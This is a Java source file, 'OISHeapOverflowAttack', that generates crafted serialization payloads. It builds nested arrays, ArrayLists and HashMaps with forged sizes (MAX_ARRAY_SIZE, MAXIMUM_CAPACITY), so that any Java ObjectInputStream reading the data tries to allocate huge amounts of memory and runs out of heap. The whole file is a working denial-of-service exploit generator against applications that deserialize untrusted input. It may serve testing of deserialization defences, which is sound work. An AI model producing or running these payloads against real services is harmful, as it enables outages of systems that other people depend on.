package cz.topolik.oisdos;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamConstants;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;

/**
 * @author Tomas Polesovsky
 */
public class OISHeapOverflowAttack {
	public static final int MAX_ARRAY_SIZE;
	public static final int MAXIMUM_CAPACITY;
	private static final int OBJECT_ARRAY_SIZE_TEMP_VAL = 1234;

	static {
		Field maxArraySizeFiled = null;
		try {
			maxArraySizeFiled = ArrayList.class.getDeclaredField("MAX_ARRAY_SIZE");
			maxArraySizeFiled.setAccessible(true);

			MAX_ARRAY_SIZE = maxArraySizeFiled.getInt(null);
		} catch (NoSuchFieldException e) {
			throw new RuntimeException("Unable to obtain field ArrayList.MAX_ARRAY_SIZE", e);
		} catch (IllegalAccessException e) {
			throw new RuntimeException("Unable to read ArrayList.MAX_ARRAY_SIZE", e);
		}

		Field maxHashMapCapacity = null;
		try {
			maxHashMapCapacity = HashMap.class.getDeclaredField("MAXIMUM_CAPACITY");
			maxHashMapCapacity.setAccessible(true);

			MAXIMUM_CAPACITY = maxHashMapCapacity.getInt(null);
		} catch (NoSuchFieldException e) {
			throw new RuntimeException("Unable to obtain field HashMap.MAXIMUM_CAPACITY", e);
		} catch (IllegalAccessException e) {
			throw new RuntimeException("Unable to read HashMap.MAXIMUM_CAPACITY", e);
		}

	}

	public static byte[] generateObjectArrayPayload(int depth) throws Exception {
		Object[] deepArray = createDeepArray(null, depth);

		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		try {
			new ObjectOutputStream(baos).writeObject(deepArray);
		}
		catch (Throwable e) {
			// expected, there are not so many items inside
		}

		byte[] payload = baos.toByteArray();

		/*
		 * Replace array length (1234) with MAX_ARRAY_SIZE to trigger allocating of as much memory as we can
		 */

		ByteArrayOutputStream out = new ByteArrayOutputStream();
		new DataOutputStream(out).writeInt(OBJECT_ARRAY_SIZE_TEMP_VAL);
		byte[] needle = out.toByteArray();

		// find the needle in haystack
		for (int i = 0; i < payload.length - 4; i++) {
			if (payload[i+0] == needle[0] && payload[i+1] == needle[1] && payload[i+2] == needle[2] && payload[i+3] == needle[3]) {
				out.reset();
				new DataOutputStream(out).writeInt(MAX_ARRAY_SIZE);
				// replace array length with max value
				System.arraycopy(out.toByteArray(), 0, payload, i, 4);
				i+= 4;
			}
		}

		/*
		 * Truncate payload, we expect heap overflow before reaching end of stream
		 */
		int truncatedLength = payload.length;
		for (int i = payload.length - 1; i > 0; i--) {
			// there are only null values in the deepArray
			if (payload[i] != ObjectStreamConstants.TC_NULL) {
				truncatedLength = i + 1;
				break;
			}
		}

		byte[] truncated = new byte[truncatedLength];
		System.arraycopy(payload, 0, truncated, 0, truncatedLength);
		return truncated;
	}

	public static byte[] generateArrayListPayload(int depth) throws Exception {
		ArrayList deepList = createDeepList(null, depth);
		setSizeUsingReflection(deepList, MAX_ARRAY_SIZE);

		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		try {
			new ObjectOutputStream(baos).writeObject(deepList);
		}
		catch (Throwable e) {
			// expected, there are not so many items inside
		}

		return baos.toByteArray();
	}

	public static byte[] generateHashMapPayload(int depth) throws Exception {
		HashMap deepMap = createDeepMap(null, depth);
		setSizeUsingReflection(deepMap, MAXIMUM_CAPACITY);

		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		try {
			new ObjectOutputStream(baos).writeObject(deepMap);
		}
		catch (Throwable e) {
			// expected, there are not so many items inside
		}

		return baos.toByteArray();
	}

	/*
	 * Create recursive objects
	 */

	private static Object[] createDeepArray(Object[] child, int depth) {
		if (child == null) {
			child = new Object[OBJECT_ARRAY_SIZE_TEMP_VAL];
		}

		if (depth <= 1) {
			return child;
		}

		Object[] parent = new Object[OBJECT_ARRAY_SIZE_TEMP_VAL];
		parent[0] = child;

		return createDeepArray(parent, depth - 1);
	}

	private static ArrayList createDeepList(ArrayList child, int depth) {
		if (child == null) {
			child = new ArrayList();
			// add one last element so that buffer is flushed
			child.add(null);
		}

		if (depth <= 1) {
			return child;
		}

		ArrayList parent = new ArrayList();
		parent.add(child);

		return createDeepList(parent, depth - 1);
	}

	private static HashMap createDeepMap(HashMap child, int depth) {
		if (child == null) {
			child = new HashMap();
			// add one last element so that buffer is flushed
			child.put(null, null);
		}

		if (depth <= 1) {
			return child;
		}

		HashMap parent = new HashMap<>();
		parent.put(child, null);

		return createDeepMap(parent, depth - 1);
	}

	/*
	 * Where possible, set size on objects using reflection
	 */

	private static void setSizeUsingReflection(ArrayList list, int size) throws Exception {
		Field sizeField = ArrayList.class.getDeclaredField("size");
		sizeField.setAccessible(true);

		while (list != null) {
			sizeField.set(list, size);
			list = (ArrayList) list.get(0);
		}
	}

	private static void setSizeUsingReflection(HashMap map, int size) throws Exception {
		Field sizeField = HashMap.class.getDeclaredField("size");
		sizeField.setAccessible(true);

		while (map != null) {
			sizeField.set(map, size);
			map = (HashMap) map.keySet().iterator().next();
		}
	}
}